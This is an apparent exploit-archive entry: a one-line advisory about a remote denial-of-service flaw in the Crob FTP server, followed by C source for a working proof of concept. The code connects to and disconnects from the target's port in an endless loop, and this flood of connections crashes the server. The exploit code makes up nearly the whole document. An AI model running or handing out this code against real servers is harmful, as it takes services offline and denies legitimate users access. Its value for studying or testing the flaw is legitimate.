source: http://www.securityfocus.com/bid/9651/info

It has been reported that the Crob FTP server is prone to a remote denial of service vulnerability. An attacker may exploit this issue to cause the affected server to crash, denying service to legitimate users.

/******************************/
#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>

int main(int argc, char *argv[])
{

  int s;
  struct sockaddr_in target;

  if(argc < 2)
    {
      printf("Usage: %s HOST [PORT]\n\n",argv[0]);
      return 0;
    }

        do
	  {
	    s = socket(AF_INET, SOCK_STREAM, 0);
	    target.sin_family = AF_INET;
	    target.sin_port = htons(atoi(argv[2]));
	    target.sin_addr.s_addr = inet_addr(argv[1]);

	    printf("-       connecting...\n");

	    if( connect(s,(struct sockaddr*)&target, sizeof(struct sockaddr))<0)
	      {
                printf("        connect() error!\n\n");
                exit(-1);
	      }

	    printf("        connected\n");
	    printf("        closing connection\n");
	    close(s);
	  }
        while(1);
        return 0;
}
/*******************************/